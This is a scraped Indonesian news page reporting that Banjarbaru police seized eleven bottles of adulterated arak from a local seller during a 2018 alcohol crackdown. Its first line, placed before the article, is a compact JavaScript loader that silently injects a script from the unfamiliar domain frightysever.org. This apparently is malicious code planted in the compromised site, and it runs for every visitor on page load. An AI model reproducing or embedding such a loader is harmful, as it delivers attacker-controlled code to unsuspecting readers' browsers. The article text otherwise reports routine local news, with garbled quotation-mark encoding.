(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Polres Banjarbaru berhasil menyita 11 botol minuman keras (miras) oplosan jenis arak, Selasa (24/4). Anggota Sat Sabhara dan Sat Res Narkoba Polres Banjarbaru mengamankan penjual miras berinisal A (50) tahun dan menyita minuman keras jenis arak sebanyak sebelas botol ukuran 600 ml, di jalan Karang Anyar RT 18 Loktabat Utara, Banjarbaru Utara.
Di Lokasi tersebut, polisi berhasil penertiban itu, menindak lanjuti laporan masyarakat yang sudah resah dengan aktifitas pelaku berinisial A, yang kerap menjual miras oplosan jenis arak.
Kasat Sabhara Polres Banjarbaru AKP I Nyoman Widiarsana, Rabu (25/4) mengatakan, penertiban peredaran minuman keras yang kerap dioplos atau dicampur dengan minuman lain itu dilakukan dalam rangka menindaklanjuti Operasi Sikat Intan 2018.
“Ini tindak lanjut dari perintah Kapolres Banjarbaru yang menekankan kepada personil yang terlibat Operasi Sikat Intan 2018, agar tidak main-main dalam pengungkapan peredaran miras di kota Banjarbaru,†ucap Kasat Sabhara Polres Banjarbaru AKP I Nyoman Widiarsana.
Upaya memberantas Miras oplosan sebagai langkah antisipasi Polres Banjarbaru untuk menghindarkan jatuhnya korban jiwa akibat mengonsumsi miras oplosan seperti yang terjadi di Bandung, Jawa Barat dan Jakarta.
“Untuk penjual miras oplosan jenis arak beserta barang buktinya langsung kita serahkan ke pengadilan untuk dilakukan sidang Tipiring, karena sudah melanggar pasal 8 ayat 1 Perda Banjarbaru nomor 05 tahun 2006 tentang larangan minuman beralkohol,†pungkas  Kasat Sabhara Polres Banjarbaru AKP I Nyoman Widiarsana. (rico)
KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More
KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More
KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More
This website uses cookies.